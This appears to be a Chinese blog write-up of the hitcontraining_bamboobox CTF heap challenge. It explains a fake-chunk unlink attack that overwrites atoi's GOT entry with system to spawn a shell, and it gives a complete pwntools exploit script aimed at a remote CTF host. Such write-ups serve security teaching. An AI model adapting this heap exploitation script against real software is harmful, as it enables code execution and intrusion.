hitcontraining_bamboobox的wp

是个堆题
add函数
在这里插入图片描述
change函数 没有判断大小可以进行unlink操作
在这里插入图片描述
伪造一个空闲 chunk。
通过 unlink 把 chunk 移到存储 chunk 指针的内存处。
覆盖 chunk 0 指针为 atoi 的 got 表地址并泄露。
覆盖 atoi 的 got 表为 system 函数地址。
给出参数 ‘sh’,调用 atoi 函数拿 shell。

add(0x40,b'a' * 8)
add(0x80,b'b' * 8)
add(0x80,b'c' * 8)
 
ptr = 0x6020c8
 
fake_chunk = p64(0)
fake_chunk += p64(0x41)
fake_chunk += p64(ptr-0x18)
fake_chunk += p64(ptr-0x10)
fake_chunk += 'c'*0x20
fake_chunk += p64(0x40)
fake_chunk += p64(0x90)
edit(0,0x80,fake_chunk)

首先在 chunk 0 构造一个 fake chunk ,并把指针分别置为 ptr-0x18 和 ptr-0x10 ,同时把 chunk 1 的 prev_size 给上 fak chunk 的大小,把 size 的 inuse 位置 0 ,这样在 free chunk 1 的时候,程序会误以为 fake chunk 为空闲的,从而触发 unlink 操作,将 ptr 指针置为 ptr - 0x18。

emove(1)
payload = p64(0) * 2
payload += p64(0x40) + p64(0x602068)
edit(0,0x80,payload)

free 掉chunk 1 后,改写 chunk 0 的内容为 atoi 的 got 表地址。

show()
r.recvuntil("0 : ")
atoi_addr = u64(r.recvuntil(":")[:6].ljust(8,'\x00'))
libcbase = atoi_addr - libc.symbols['atoi']
print "libc:",hex(libcbase) 
system_addr = libcbase + libc.symbols['system']
print 'system:',hex(system_addr)

泄露 atoi 函数的地址,并计算 system 函数的地址。

edit(0,0x8,p64(system_addr))
r.recvuntil(":")
r.sendline("sh")

exp

from pwn_debug import *
 
#context.log_level = 'debug'
pdbg = pwn_debug('bamboobox')
pdbg.local()
pdbg.remote('node3.buuoj.cn',26510)
#libc = ELF('./x64_libc.so.6')
r = pdbg.run('remote')
libc = pdbg.libc
 
def add(length,name):
	r.recvuntil(":")
	r.sendline('2')
	r.recvuntil(':')
	r.sendline(str(length))
	r.recvuntil(":")
	r.sendline(name)
 
def edit(idx,length,name):
	r.recvuntil(':')
	r.sendline('3')
	r.recvuntil(":")
	r.sendline(str(idx))
	r.recvuntil(":")
	r.sendline(str(length))
	r.recvuntil(':')
	r.sendline(name)
 
def remove(idx):
	r.recvuntil(":")
	r.sendline("4")
	r.recvuntil(":")
	r.sendline(str(idx))
 
def show():
	r.recvuntil(":")
	r.sendline("1")
 
 
add(0x40,'a' * 8)
add(0x80,'b' * 8)
add(0x80,'c' * 8)
 
ptr = 0x6020c8
 
fake_chunk = p64(0)
fake_chunk += p64(0x41)
fake_chunk += p64(ptr-0x18)
fake_chunk += p64(ptr-0x10)
fake_chunk += 'c'*0x20
fake_chunk += p64(0x40)
fake_chunk += p64(0x90)
edit(0,0x80,fake_chunk)
 
#gdb.attach(r)
 
remove(1)
payload = p64(0) * 2
payload += p64(0x40) + p64(0x602068)
edit(0,0x80,payload)
 
#gdb.attach(r)
 
show()
r.recvuntil("0 : ")
atoi_addr = u64(r.recvuntil(":")[:6].ljust(8,'\x00'))
libcbase = atoi_addr - libc.symbols['atoi']
print "libc:",hex(libcbase) 
system_addr = libcbase + libc.symbols['system']
print 'system:',hex(system_addr)
 
edit(0,0x8,p64(system_addr))
#gdb.attach(r)
 
r.recvuntil(":")
r.sendline("sh")
r.interactive()
 

灵感

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值